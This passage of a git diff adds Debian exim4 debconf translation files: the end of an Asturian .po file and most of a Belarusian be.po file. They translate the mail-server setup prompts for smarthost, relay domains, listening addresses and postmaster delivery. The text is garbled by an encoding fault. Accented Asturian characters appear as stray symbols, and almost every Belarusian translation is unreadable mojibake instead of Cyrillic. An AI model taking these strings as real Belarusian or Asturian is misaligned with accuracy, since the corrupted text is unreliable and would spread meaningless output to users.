configuración de l'autenticación SMTP nos ficheros README " +"especÃficos de Debian en /usr/share/doc/exim4-base/." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinatariu del corréu de root y postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Tienes de redirixir los correos a postmaster, root y otres cuentes del " +"sistema a una cuenta del usuariu que correspuenda a la del alministrador del " +"sistema real." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Tol corréru d'esta triba atroxaráse en /var/mail/mail si dexes ermu esti " +"valor, lo que nun se recomienda." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Decátate de que los mensaxes empobinaos al alministrador de corréu " +"postmaster tendrÃen de lleese normalmente nel sistema al que va empobináu, " +"n'arróu d'unviase a otra parte. Asina, (polo menos ún de) los usuarios " +"qu'escueyes nun tendrÃen de reunviar el so corréu fuera d'ésta máquina. " +"Puedes usar el prefixu 'real-' p'angariyar a usar la entrega llocal." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "" +"Si introduces más d'un nome d'usuariu tienes de separtalos con espacios." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Direiciones IP nes que recibir conexones SMTP entrantes:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Introduz una llista de direiciones IP separtaes por puntu y coma. El demoniu " +"qu'aceuta les conexones entrantes SMTP de Exim escuchará en toles " +"direiciones IP equà llistaes." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Si dexes esti valor en blanco, Exim podrá recibir conexones dende " +"cualesquier interface de rede disponible." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Recomiéndase prohibir conexones esternes a Exim si esti equipu namái recibe " +"corréu direutamente de servicios llocales (y non d'otros equipos). Estos " +"servicios incluyendo los programes veceru de corréu (MUA) que namái unvÃen " +"corréu a localhost asina como fetchmail. Nun podrán facese conexones de mou " +"estermu si introduz equà el valor 127.0.0.1, d'esti mou desactivará la " +"escucha nes interfaces coneutaes a redes públiques." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "¿Llimitar el númberu de consultes de DNS (marcación baxo demanda)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Nel mou normal d'operación, Exim fai consultes de DNS al aniciar y cuando " +"recibe o entrega mensaxes. Estes consultes faense pa poder caltener " +"rexistros y pa caltener pequeñu'l númberu de valores fixos grabaos nel " +"ficheru de configuración." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Si esti sistema nun tien accesu permanente a sirvidores de nomes DNS (ye'l " +"casu cuando s'usa marcación baxo demanda o una llinia d'accesu telefónicu) " +"esto podrÃa tener consecuencies nun deseyaes. Por exemplu, podrÃa llegase a " +"tentar facer un eventu de conexón (que xenere una llamada costosa) al " +"aniciar exim o procesar la cola del corréu (inclusu magar que nun heba " +"mensaxes n'espera)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"TendrÃa de seleicionar esta opción si'l to sistema usa marcación baxo " +"demanda. Nun la habilites si'l to sistema ta permanentemente coneutáu a " +"Internet." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuración del sirvidor de corréu:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "¿Dixebrar la configuración en pequeños ficheros?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Los paquetes Debian de exim4 puen usar una 'configuración concentrada', ye " +"dicir, un únicu ficheru monolÃticu (/etc/exim4.conf.template), o bien una " +"'configuración segmentada' au la configuración d'Exim constrúise usando " +"cerca de 50 ficheros pequeños en /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"La configuración concentrada adáutase meyor a grandes modificaciones y ye " +"polo xeneral más estable, mientres que la configuración segmentada ufre un " +"mou cómodu de facer pequeñes modificaciones pero ye más fráxil y podrÃa " +"frañase si se modifica ensin les debÃes precauciones." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Alcontrará una discusión pormenorizao sobro la configuración segmentada y " +"concentrada nos ficheros especÃficos de Debian en /usr/share/doc/exim4-base/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "¿Deseyes anubrir el nome de corréu llocal nos mensaxes salientes?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Les cabeceres de los mensaxes salientes puen reescribise pa que paeza que se " +"xeneraren nún sistema distinu. Si escueyes esta opción reescibiránse " +"'${mailname}', 'localhost' y '${dc_other_hostnames}' nel Dende, Retrucar a, " +"Remitente y CamÃn de Retornu." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "formatu mbox en /var/mail" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "formatu Maildir nel direutoriu personal" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Mecanismu d'entrega pal corréu llocal:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim puedes atroxar el corréu entregáu llocalmente en distintos formatos. " +"Los formatos más comunes son mbox y Maildir. El formatu mbox usa un únicu " +"ficheru pa tol buzón de corréu que s'atroxa en /var/mail. Col formatu " +"Maildir cada ún de los mensaxes atróxase nun ficheru distintu en ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Ten en cuenta que la mayorÃa de les ferramientas de corréu en Debian esperen " +"que'l mecanismu d'entrega llocal seya a ficheros mbox na so configuración " +"por omisión." diff --git a/debian/po/be.po b/debian/po/be.po new file mode 100644 index 0000000..4ac33c3 --- /dev/null +++ b/debian/po/be.po @@ -0,0 +1,636 @@ +# translation of exim4_debian_be.po to Belarusian (Official spelling) +# Pavel Piatruk <piatruk.p@gmail.com>, 2008, 2009. +# Hleb Rubanau <g.rubanau@gmail.com>, 2007,2009. +# Copyright (C) 2007-2009 by +# This file is distributed under the same license as the exim4-configure package. +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian_be\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2009-02-19 02:38+0200\n" +"Last-Translator: Pavel Piatruk <piatruk.p@gmail.com>\n" +"Language-Team: Belarusian (Official spelling) <i18n@mova.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Ці выдаліць недаÑÐ»Ð°Ð½Ñ‹Ñ Ð¿Ð°Ð²ÐµÐ´Ð°Ð¼Ð»ÐµÐ½Ð½Ñ– з чаргі?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"У дырÑкторыі чаргі Exim (/var/spool/exim4/input/) Ñ‘Ñць e-mail паведамленні, " +"што ÑÑˆÑ‡Ñ Ð½ÐµÐ´Ð°Ñланы. Выдаленне Exim Ñпрычыніць Ñ–Ñ… заÑтацца недаÑланымі, " +"пакуль Exim не будзе ÑžÑталÑваны зноў." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Калі не згадзіцеÑÑ, дырÑÐºÑ‚Ð¾Ñ€Ñ‹Ñ Ñ‡Ð°Ñ€Ð³Ñ– будзе пакінута, што дазволіць " +"паведамленнÑм у чарзе быць даÑланымі паÑÐ»Ñ Ñ‚Ð°Ð³Ð¾, Ñк Exim будзе " +"пераўÑталÑваны." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Пераналадзьце exim4-config, а не гÑÑ‚Ñ‹ пакет" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Ðаладкі Exim захоўваюцца Ñž аÑобным пакеце exim4-config. Каб пераналадзіць " +"Exim4, выканайце 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "вузел ІнтÑрнÑÑ‚; пошта атрымліваецца Ñ– даÑылаецца проÑта праз SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "пошта даÑылаецца праз smarthost; прыём праз SMTP ці fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "пошта даÑылаецца праз smarthost; нÑма лакальнай пошты" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "толькі Ð´Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ñ Ð´Ð°Ñтаўка; не Ñž Ñеціве" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "пакуль не наладжваць" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "ÐÑÐ½Ð¾ÑžÐ½Ñ‹Ñ Ñ‚Ñ‹Ð¿Ñ‹ наладкі пошты:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Калі лаÑка, вызначце тып наладак паштовага Ñервера, што найбольш паÑуе " +"задачам." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Машыны з дынамічным IP-адраÑам, у тым ліку з dialup-доÑтупам, могуць быць " +"наладжаны на даÑылку зыходзÑчай пошты праз іншую машыну (ÑÐºÐ°Ñ Ð·Ð°Ð²ÐµÑ†Ñ†Ð° " +"'smarthost'), бо шмат ÑÐºÑ–Ñ Ð¿Ð°ÑˆÑ‚Ð¾Ð²Ñ‹Ñ Ñерверы не прымаюць уваходзÑчую пошту з " +"дынамічных IP, каб заÑцерагчыÑÑ Ð°Ð´ Ñпаму." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Машына з дынамічным IP адраÑам можа прыймаць улаÑную пошту, ці Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ñ " +"даÑтаўка можа быць выключана цалкам (за вынÑткам пошты Ð´Ð»Ñ root Ñ– " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Ці Ñапраўды пакінуць паштовую ÑÑ–ÑÑ‚Ñму неналаджанай?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Пакуль Ð¿Ð°ÑˆÑ‚Ð¾Ð²Ð°Ñ ÑÑ–ÑÑ‚Ñма не наладжана, Ñна лічыцца пашкоджанай Ñ– не можа быць " +"ÑкарыÑтана. Пазнейшае наладжванне можа быць зроблена або ўручную, або " +"выкананнем 'dpkg-reconfigure exim4-config' Ñк root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Паштовае Ñ–Ð¼Ñ ÑÑ–ÑÑ‚Ñмы:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'Паштовае імÑ' - даменнае Ñ–Ð¼Ñ Ð´Ð»Ñ Ð²Ñ‹Ð·Ð½Ð°Ñ‡ÑÐ½Ð½Ñ ('qualify') адраÑоў без " +"даменнага імÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"ГÑта Ñ–Ð¼Ñ Ð¼Ð¾Ð¶Ð° быць ÑкарыÑтана іншымі праграмамі. Яно павінна быць адзіным, " +"цалкам вызначаным даменным імем (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Значыць, калі паштовы Ð°Ð´Ñ€Ð°Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ð¹ машыны foo@example.org, карÑктнае " +"значÑнне параметра будзе example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"ГÑта Ñ–Ð¼Ñ Ð½Ðµ будзе з'ÑўлÑцца Ñž радку From: зыходзÑчых паведамленÑÑž, калі " +"дазволены перазапіÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "ТакÑама дазволіць пошту Ñž:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"УвÑдзіце ÑÐ¿Ñ–Ñ Ñ€Ð°Ð·Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' даменаў атрымальнікаў, Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð°Ð³Ð° з " +"каторых гÑта машына будзе лічыць ÑÑбе канцавым прызначÑннем. ГÑÑ‚Ñ‹Ñ Ð´Ð°Ð¼ÐµÐ½Ñ‹ " +"звычайна завуцца лакальнымі. Ð›Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ñ Ð½Ð°Ð·Ð²Ð° вузла (${fqdn}) Ñ– 'localhost' " +"ужо дададзены Ñž ÑпіÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Паводле Ñтандартных наладак уÑе Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ Ð´Ð°Ð¼ÐµÐ½Ñ‹ апрацоўваюцца аднолькава. " +"Калі Ñž ÑкаÑці лакальных даменаў вызначаны a.example ды b.example, " +"паведамленні да acc@a.example ды acc@b.example будуць мець аднолькавы пункт " +"прызначÑннÑ. Калі патрÑбна, каб Ñ€Ð¾Ð·Ð½Ñ‹Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ Ð´Ð°Ð¼ÐµÐ½Ñ‹ апрацоўваліÑÑ Ñ€Ð¾Ð·Ð½Ñ‹Ð¼ " +"чынам, неабходна дадаткова выправіць файлы наладак." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Дамены, Ð´Ð»Ñ Ñкіх Ð´Ð°Ð·Ð²Ð¾Ð»ÐµÐ½Ð°Ñ Ð¿ÐµÑ€Ð°Ð´Ð°Ñ‡Ð° пошты:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"УвÑдзіце ÑÐ¿Ñ–Ñ Ñ€Ð°Ð·Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' даменаў атрымальнікаў, Ð´Ð»Ñ Ñкіх гÑÑ‚Ð°Ñ " +"ÑÑ–ÑÑ‚Ñма будзе перапраўлÑць пошту (выÑтупаючы, напрыклад, у ÑкаÑці " +"Ñ€Ñзервовага MX альбо паштовага шлюзу). ГÑта значыць, што ÑÑ–ÑÑ‚Ñма будзе " +"прымаць пошту Ð´Ð»Ñ Ð³ÑÑ‚Ñ‹Ñ… даменаў з уÑÑго Ñвету, Ñ– даÑтаўлÑць Ñе паводле " +"лакальных правіл. " + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Ðе ўводзьце тут дамены, раней Ð¿Ð°Ð·Ð½Ð°Ñ‡Ð°Ð½Ñ‹Ñ Ñк лакальныÑ. ВыкарыÑтанне " +"ÑÑ–Ð¼Ð²Ð°Ð»ÑŒÐ½Ñ‹Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð°Ñž дазволена. " + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Машыны, Ð´Ð»Ñ Ñкіх Ð´Ð°Ð·Ð²Ð¾Ð»ÐµÐ½Ð°Ñ Ð¿ÐµÑ€Ð°Ð´Ð°Ñ‡Ð° пошты" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"УвÑдзіце ÑÐ¿Ñ–Ñ Ð¿Ð°Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' дыÑпазонаў IP-адраÑоў, Ð´Ð»Ñ Ñкіх гÑÑ‚Ð°Ñ " +"ÑÑ–ÑÑ‚Ñма будзе перадаваць пошту ва ÑžÑÑ–Ñ… выпадках, працуючы Ñк smarthost. " + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"ТрÑба выкарыÑтоўваць Ñтандартны адраÑна-прÑфікÑны фармат (г.зн. " +"194.222.242.0/24 або 5f04:1200:836f::/48)" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Калі гÑÑ‚Ð°Ñ ÑÑ–ÑÑ‚Ñма не будзе працаваць у ÑкаÑці smarthost ні Ð´Ð»Ñ Ñкога іншага " +"вузлу, пакіньце ÑÐ¿Ñ–Ñ Ð¿ÑƒÑтым." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Бачнае Ñ–Ð¼Ñ Ð´Ð°Ð¼ÐµÐ½Ñƒ Ð´Ð»Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ… карыÑтальнікаў" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Уключана опцыÑ, ÑÐºÐ°Ñ Ð¿Ñ€Ñ‹Ð¼ÑƒÑˆÐ°Ðµ хаваць лакальнае паштовае Ñ–Ð¼Ñ Ñž пошце, ÑÐºÐ°Ñ " +"накіроўваецца вонкі. У такім выпадку неабходна вызначыць Ñ–Ð¼Ñ Ð´Ð°Ð¼ÐµÐ½Ñƒ, Ñкое " +"муÑіць выкарыÑтоўвацца Ñž ÑкаÑці даменнай чаÑткі паштовых адраÑоў лакальных " +"карыÑтальнікаў." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-Ð°Ð´Ñ€Ð°Ñ Ð°Ð»ÑŒÐ±Ð¾ назва вузла вонкавага smarthost:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"УвÑдзіце IP-Ð°Ð´Ñ€Ð°Ñ Ð°Ð±Ð¾ назву вузла паштовага Ñервера, Ñкі муÑіць " +"выкарыÑтоўвацца гÑтай ÑÑ–ÑÑ‚Ñмай у ÑкаÑці smarthost Ð´Ð»Ñ Ð¿Ð¾ÑˆÑ‚Ñ‹, што " +"накіроўваецца вонкі. Калі smarthost прымае Вашую пошту толькі праз порт, " +"адрозны ад TCP/25, дадайце два двухкроп'Ñ Ñ– нумар порту (напрыклад: " +"smarthost.example::587 або 192.168.254.254::2525). Двухкроп'Ñ– Ñž адраÑах IPv6 " +"муÑÑць быць падвоеныÑ. " + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Калі smarthost патрабуе аўтарызацыі, прачытайце Ð´Ð°Ñ‚Ñ‹Ñ‡Ð½Ñ‹Ñ Debian файлы README " +"Ñž дырÑкторыі /usr/share/doc/exim4-base, ÑÐºÑ–Ñ ÑžÑ‚Ñ€Ñ‹Ð¼Ð»Ñ–Ð²Ð°ÑŽÑ†ÑŒ Ð°Ð´Ð¿Ð°Ð²ÐµÐ´Ð½Ñ‹Ñ " +"інÑтрукцыі па наладцы. " + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Ðтрымальнік пошты Ð´Ð»Ñ root ды postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Пошта Ð´Ð»Ñ ÐºÐ°Ñ€Ñ‹Ñтальнікаў 'postmaster' ды 'root' Ñ– іншых ÑÑ–ÑÑ‚Ñмных " +"карыÑтальнікаў муÑіць быць Ð¿ÐµÑ€Ð°Ð½Ð°ÐºÑ–Ñ€Ð°Ð²Ð°Ð½Ð°Ñ Ð½Ð° Ð°Ð´Ñ€Ð°Ñ ÐºÐ°Ñ€Ñ‹Ñтальніка, Ñкі " +"з'ÑўлÑецца Ñапраўдным адмініÑтратарам ÑÑ–ÑÑ‚Ñмы." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Калі гÑтае поле не будзе запоўнена, Ð°Ð´Ð¿Ð°Ð²ÐµÐ´Ð½Ð°Ñ Ð¿Ð¾ÑˆÑ‚Ð° будзе захоўвацца Ñž " +"файле /var/mail/mail, але гÑта не Ñ€Ñкамендуецца. " + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Майце на ўвазе, што пошту карыÑтальніка 'postmaster' Ñ‚Ñ€Ñба чытаць на той " +"ÑÑ–ÑÑ‚Ñме, куды Ñна была накіраванаÑ, а не перанакіроўваць кудыÑці ÑшчÑ. Таму " +"найменей адзін карыÑтальнік з пазначаных вышÑй не муÑіць перанакіроўваць " +"Ñваю пошту па-за межы гÑтай машыны. ПрÑÑ„Ñ–ÐºÑ 'real-' можа быць выкарыÑтаны, " +"каб прымуÑова выконваць лакальную даÑтаўку. " + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "" +"Калі Ð’Ñ‹ ўвÑдзеце некалькі імён карыÑтальнікаў, варта раздзÑліць Ñ–Ñ… прабеламі" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-адраÑÑ‹, на Ñкіх варта чакаць уваходзÑчых далучÑннÑÑž SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"УвÑдзіце ÑÐ¿Ñ–Ñ Ð¿Ð°Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' IP-адраÑоў. ДÑман праÑÐ»ÑƒÑ…Ð¾ÑžÐ²Ð°Ð½Ð½Ñ SMTP " +"будзе чакаць далучÑннÑÑž на ÑžÑе Ð¿ÐµÑ€Ð°Ð»Ñ–Ñ‡Ð°Ð½Ñ‹Ñ Ð°Ð´Ñ€Ð°ÑÑ‹. " + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"ПуÑтое поле прымуÑіць Exim праÑлухоўваць падключÑнні на ÑžÑÑ–Ñ… наÑўных " +"Ñеткавых інтÑрфÑйÑах." + 